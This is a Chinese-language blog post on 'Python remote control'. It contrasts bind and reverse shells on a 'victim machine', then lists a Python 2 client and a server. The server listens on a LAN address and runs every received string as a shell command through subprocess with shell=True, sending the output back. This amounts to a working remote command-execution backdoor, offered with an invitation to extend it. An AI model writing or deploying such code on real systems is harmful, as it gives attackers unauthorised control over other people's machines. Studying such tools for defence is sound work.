Python远程控制

叁歲伎倆 2023-06-22 14:54 1阅读 0赞

**正向反向区别**

正向即我们通过一系列手段在受害机开放了一个端口，这个端口等待我们连接，受害机不会主动告诉我们让我们去连接，导致我们必须要知道受害机的IP地址，实际操作会很困难。所以现在都是用反向，与正向最大区别是，受害机会通知我们，将shell返回。

**示例**

Python中通过连接并执行命令主要用到了socket和subprocess两个模块，以下是一个简单的示例。

**Client.py**

<table> 
 <tbody> 
 <tr> 
 <td style="width:414.8pt;"> # -*- coding: utf-8 -*- import socket while 1: &nbsp;&nbsp;&nbsp; str_msg = raw_input("Please input command:") &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if str_msg == "exit": &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break &nbsp;&nbsp;&nbsp; else: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s2 = socket.socket() &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s2.connect(("192.168.150.144", 6666)) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; data = s2.recv(1024) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s2.send(str_msg) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print str(s2.recv(1024)) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s2.close() </td> 
 </tr> 
 </tbody> 
</table>

**Server.py**

<table> 
 <tbody> 
 <tr> 
 <td style="width:414.8pt;"> import subprocess import socket &nbsp; def run_command(command): &nbsp;&nbsp;&nbsp; command = command.rstrip() &nbsp;&nbsp;&nbsp; print command &nbsp;&nbsp;&nbsp; try: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; child = subprocess.check_output(command, shell=True) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return child &nbsp;&nbsp;&nbsp; except: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; child = 'Can not execute the command.\r\n' &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return child &nbsp; s1 = socket.socket() s1.bind(("192.168.150.144", 6666)) s1.listen(5) &nbsp; while 1: &nbsp;&nbsp;&nbsp; conn,address = s1.accept() &nbsp;&nbsp;&nbsp; print "a new connect from " + str(address) &nbsp;&nbsp;&nbsp; conn.send("Hello world") &nbsp;&nbsp;&nbsp; data = conn.recv(1024) &nbsp;&nbsp;&nbsp; print "The command is " + data &nbsp;&nbsp;&nbsp; output = run_command(data) &nbsp;&nbsp;&nbsp; conn.send(output) &nbsp; conn.close() </td> 
 </tr> 
 </tbody> 
</table>

示例演示结果

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZhZ2V3ZWlrZXRhbmc_size_16_color_FFFFFF_t_70][]

**总结**

上面简单示例只接收客户端命令进行了执行，其他功能可根据需求自行添加， 也可以使用tk等集成到gui中进行学习。

--------------------

**   公众号推荐：aFa攻防实验室**

**     分享关于信息搜集、Web安全、内网安全、代码审计、红蓝对抗、Java、Python等方面的东西。**

![20191220230427373.jpg][]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZhZ2V3ZWlrZXRhbmc_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20191216230033410.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZhZ2V3ZWlrZXRhbmc=,size_16,color_FFFFFF,t_70
[20191220230427373.jpg]: https://img-blog.csdnimg.cn/20191220230427373.jpg